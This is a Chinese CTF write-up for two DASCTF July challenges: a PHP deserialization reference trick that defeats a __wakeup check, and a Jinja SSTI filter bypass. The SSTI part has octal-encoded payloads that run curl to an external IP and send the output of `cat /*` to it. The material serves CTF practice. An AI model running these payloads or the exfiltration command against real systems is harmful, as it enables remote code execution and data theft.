[dasctf7月] 赋能赛 wp

[dasctf7月]newer

建议参考jacko神:https://www.wolai.com/7MymbpgzhHWMdAoh2Ycb89

这个题很快发现cookie处可以反序列化,但是也很快发现没啥可以rce

当时想的是反序列化原生类,但是很快想起实现不了

最后看了jacko神的wP,原来是composer.json

{

    "require": {
        "fakerphp/faker": "^1.19",
        "opis/closure": "^3.6"
    }
}

有个闭包和fakerphp/faker

题目不太可能让我们直接挖fakerphp/faker+opis/closure的0day(可以看到是最新版),然后又想到开篇给了我们一个类,所以这个类就是入口!有这个类以后,后面就可以pop

很敏感的得到echo "User ".$this->instance->_username." has created.";是入口,因为其他都是$this->某某,在没有触发__toString__call的可能下,长度不够,我没法塞一个新的类上去,所以只能找$this->instance->_username,他有可能触发get方法

后面复现可以直接看jacko神的wp,但是有个里面点很容易看不懂,我们讲一下——引用

example

class a
{
    public $key;
    public function __construct()
    {
        $this->key = new b();
        echo "A is constructed!     ";
        echo "<hr>";
    }
    public function __wakeup(){
        echo "a unserialize!      ";
    }
}

class b{
    public $eval;
    public function __construct()
    {
        echo "B is contructed!    ";
    }
    public function __wakeup(){
        if($this->eval != "secure")
            $this->eval = "secure";
        echo "b unserialize!     ";
    }
}

这个时候你new a();的话,可以看到先new的B再new的A

image-20220802170001418

而如果你序列化后反序列化的话

$class1 = new a();
echo serialize($class1);
//O:1:"a":1:{s:3:"key";O:1:"b":0:{}}

unserialize('O:1:"a":1:{s:3:"key";O:1:"b":0:{}}');

反序列化之后,马上可以看到还是先触发的B的wakeup,再触发A的wakeup,也是先B后A

我们都知道有这个wakeup限制的化,我给B->eval提前赋值是无效的,都会变成"secure"。这里有个漏洞,就是假如我B->eval=&某某类的属性。那么这个某某类的属性和B->eval的确会被变成"secure",但是刚刚说了先B后A,若 某某类的属性如果是A的属性的话,由于A还没被new出来,那么后面我们如果在new A的过程中会改变A的属性,就可以同时改变B->eval

demo

<?php 
class a
{
    public $key;
    public $apple;
    public function __construct()
    {
        $this->key = new b();
        echo "A is constructed!     ";
        echo "<hr>";
    }
    public function __wakeup(){
        echo "a unserialize!      ";
        //$this->apple = "Hacked!";
        echo "<hr>";
        echo $this->key->eval;
    }
}

class b{
    public $eval;
    public function __construct()
    {
        echo "B is contructed!    ";
    }
    public function __wakeup(){
        if($this->eval != "secure")
            $this->eval = "secure";
        echo "b unserialize!     ";
    }
}

image-20220802170937698

但是如果我们让a的wakeup变成这样

    public function __wakeup(){
        echo "a unserialize!      ";
        $this->apple = "Hacked!";
        echo "<hr>";
        echo $this->key->eval;
    }

然后

$class1 = new a();
//$class1->apple = "Hacked!";
$class1->key->eval = &$class1->apple;
echo serialize($class1);

接着把结果反序列化的话

demo

<?php 
class a
{
    public $key;
    public $apple;
    public function __construct()
    {
        $this->key = new b();
        echo "A is constructed!     ";
        echo "<hr>";
    }
    public function __wakeup(){
        echo "a unserialize!      ";
        $this->apple = "Hacked!";
        echo "<hr>";
        echo $this->key->eval;
    }
}

class b{
    public $eval;
    public function __construct()
    {
        echo "B is contructed!    ";
    }
    public function __wakeup(){
        if($this->eval != "secure")
            $this->eval = "secure";
        echo "b unserialize!     ";
    }
}

//new 对象是先B后A
//new a();
$class1 = new a();
//$class1->apple = "Hacked!";
$class1->key->eval = &$class1->apple;
echo serialize($class1);
//O:1:"a":1:{s:3:"key";O:1:"b":0:{}}
//O:1:"a":2:{s:3:"key";O:1:"b":1:{s:4:"eval";N;}s:5:"apple";N;}
//O:1:"a":2:{s:3:"key";O:1:"b":1:{s:4:"eval";N;}s:5:"apple";R:3;}
unserialize('O:1:"a":2:{s:3:"key";O:1:"b":1:{s:4:"eval";N;}s:5:"apple";R:3;}');

image-20220802171631536

有个易混淆的点就是

$class1 = new a();
//$class1->apple = "Hacked!";
//apple不可以在外面得到赋值
$class1->key->eval = &$class1->apple;
echo serialize($class1);

这个值必须在

public function __wakeup(){
        echo "a unserialize!      ";
        $this->apple = "Hacked!";
        //apple必须在这里赋值
        echo "<hr>";
        echo $this->key->eval;
    }

[dasctf7月]Hard_disk

发现post数据会有回显,一般这种情况就尝试有无ssti和xss,

当尝试{{}}时,会被过滤

nickname={%25if(1==2)%25}1{%25endif%25}

的时候呢,1==1可以回显1,1==2不会回显,证明可以ssti

有一条payload

thai.__init__.__globals__.__builtins__.__import__('os').popen('whoami').read()

但是点,单引号被过滤,下划线被过滤

点用attr代替,单引号用双引号代替,下划线用编码绕过

转八进制绕过,脚本如下

strr = "__init__"
flag = ""
for a in strr:
    #print(str(oct(ord(a))))
    flag = flag + '/'+str(oct(ord(a)))[2:]

print(flag)

直接使用.__import__('os').popen('whoami').read()

并不会回显,返回Exception,这里直接反弹shell

一开始尝试bash,发现好像没用,尝试curl,有回显的

payload

nickname={%25if(thai|attr("\137\137\151\156\151\164\137\137")|attr("\137\137\147\154\157\142\141\154\163\137\137")|attr("\137\137\147\145\164\151\164\145\155\137\137")("\137\137\142\165\151\154\164\151\156\163\137\137")|attr("\137\137\147\145\164\151\164\145\155\137\137")("\145\166\141\154")("\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\160\157\160\145\156\50\47\143\165\162\154\40\150\164\164\160\72\57\57\70\56\61\62\71\56\64\62\56\61\64\60\72\63\63\60\67\47\51\56\162\145\141\144\50\51"))%25}1{%25endif%25}

image-20220726134037687

之后就可以轻松使用反引号cat /flag了

nickname={%25if(thai|attr("\137\137\151\156\151\164\137\137")|attr("\137\137\147\154\157\142\141\154\163\137\137")|attr("\137\137\147\145\164\151\164\145\155\137\137")("\137\137\142\165\151\154\164\151\156\163\137\137")|attr("\137\137\147\145\164\151\164\145\155\137\137")("\145\166\141\154")("\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\160\157\160\145\156\50\47\143\165\162\154\40\150\164\164\160\72\57\57\70\56\61\62\71\56\64\62\56\61\64\60\72\63\63\60\67\77\143\155\144\75\140\143\141\164\40\57\52\140\47\51\56\162\145\141\144\50\51"))%25}1{%25endif%25}

image-20220726134156518

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇